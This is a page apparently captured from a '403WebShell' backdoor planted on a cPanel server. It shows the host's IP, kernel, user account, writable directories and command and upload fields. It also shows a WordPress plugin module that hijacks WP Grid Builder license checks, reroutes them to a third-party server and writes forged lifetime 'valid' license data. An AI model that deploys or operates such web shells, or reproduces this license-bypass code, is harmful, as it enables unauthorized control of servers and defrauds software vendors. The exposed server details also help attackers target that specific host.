$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.217.123
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/modules/wp-grid-builder.php
<?php
/**
 * WP Grid Builder module.
 *
 * Redirects wpgridbuilder.com EDD license requests to GLS3.
 * Uses pre_http_request filter instead of ApiRedirector because
 * download URLs are also on wpgridbuilder.com (/edd-sl/package_download/).
 *
 * EDD-based license system.
 * API domain: wpgridbuilder.com
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Modules;

use HelloPack\Client\Module\AbstractModule;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * WP Grid Builder license module.
 */
class Wp_Grid_Builder extends AbstractModule {

	/**
	 * Placeholder license key.
	 *
	 * @var string
	 */
	private const LICENSE_KEY = 'hellopack-wp-grid-builder-license';

	/**
	 * Set up module properties.
	 */
	public function setup(): void {
		$this->id          = 'wp-grid-builder';
		$this->name        = 'WP Grid Builder';
		$this->description = 'Manages WP Grid Builder license via GLS3.';
		$this->category    = 'plugin';
		$this->version     = '2.0.0';
		$this->target      = array(
			'plugin_dir'  => 'wp-grid-builder',
			'plugin_file' => 'wp-grid-builder.php',
		);
		$this->target_id   = '2876430472';

		$this->blocked_domains = array(
			'://wpgridbuilder.com/' => self::edd_sl_block(),
		);
	}

	/**
	 * Initialize module.
	 */
	public function init(): void {
		// Only intercept EDD API calls, not file downloads (/edd-sl/package_download/).
		add_filter( 'pre_http_request', array( $this, 'intercept_api' ), 10, 3 );

		$this->activate_license();
	}

	/**
	 * Intercept wpgridbuilder.com EDD API requests and redirect to GLS3.
	 *
	 * Only intercepts requests with edd_action parameter.
	 * Lets download URLs (/edd-sl/) pass through to the real server.
	 *
	 * Uses wp_remote_get with reject_unsafe_urls=false because the plugin
	 * uses wp_safe_remote_get which would block the GLS3 internal URL.
	 *
	 * @param false|array|\WP_Error $response    A preemptive return value.
	 * @param array<string, mixed>  $parsed_args HTTP request arguments.
	 * @param string                $url         The request URL.
	 * @return false|array|\WP_Error
	 */
	public function intercept_api( $response, array $parsed_args, string $url ) {
		$host = strtolower( (string) wp_parse_url( $url, PHP_URL_HOST ) );
		if ( 'wpgridbuilder.com' !== $host ) {
			return $response;
		}

		// Only redirect EDD API calls (with edd_action param).
		if ( strpos( $url, 'edd_action' ) === false ) {
			return $response;
		}

		$gls3_url = str_replace(
			'https://wpgridbuilder.com',
			HELLOPACK_GLS3_URL . '/wp-grid-builder',
			$url
		);

		return wp_remote_get( $gls3_url, $parsed_args );
	}

	/**
	 * Activate WP Grid Builder license.
	 *
	 * Sets wpgb_plugin_info option with valid license data.
	 */
	private function activate_license(): void {
		$info = get_option( 'wpgb_plugin_info' );

		if ( is_array( $info ) && 'valid' === ( $info['license'] ?? '' ) && self::LICENSE_KEY === ( $info['license_key'] ?? '' ) ) {
			return;
		}

		$parsed   = wp_parse_url( home_url(), PHP_URL_HOST );
		$site_url = $parsed ? $parsed : 'localhost';

		$license_data = array(
			'license_key'   => self::LICENSE_KEY,
			'email'         => 'license@hellowp.io',
			'url'           => $site_url,
			'license'       => 'valid',
			'expires'       => 'lifetime',
			'site_count'    => 1,
			'license_limit' => 999,
			'license_type'  => 'multi',
			'is_local'      => 0,
			'new_version'   => defined( 'WPGB_VERSION' ) ? WPGB_VERSION : '2.0.0',
			'tested'        => '6.9',
			'package'       => '',
			'download_link' => '',
			'addons'        => array(),
		);

		update_option( 'wpgb_plugin_info', $license_data );
		update_option( 'wpgb_plugin_info_backup', $license_data );
		delete_transient( 'wpgb_plugin_status' );
	}

	/**
	 * Cleanup on disable.
	 */
	public function cleanup(): void {
		hellopack_delete_option( 'wpgb_plugin_info' );
		hellopack_delete_option( 'wpgb_plugin_info_backup' );
		delete_transient( 'wpgb_plugin_status' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit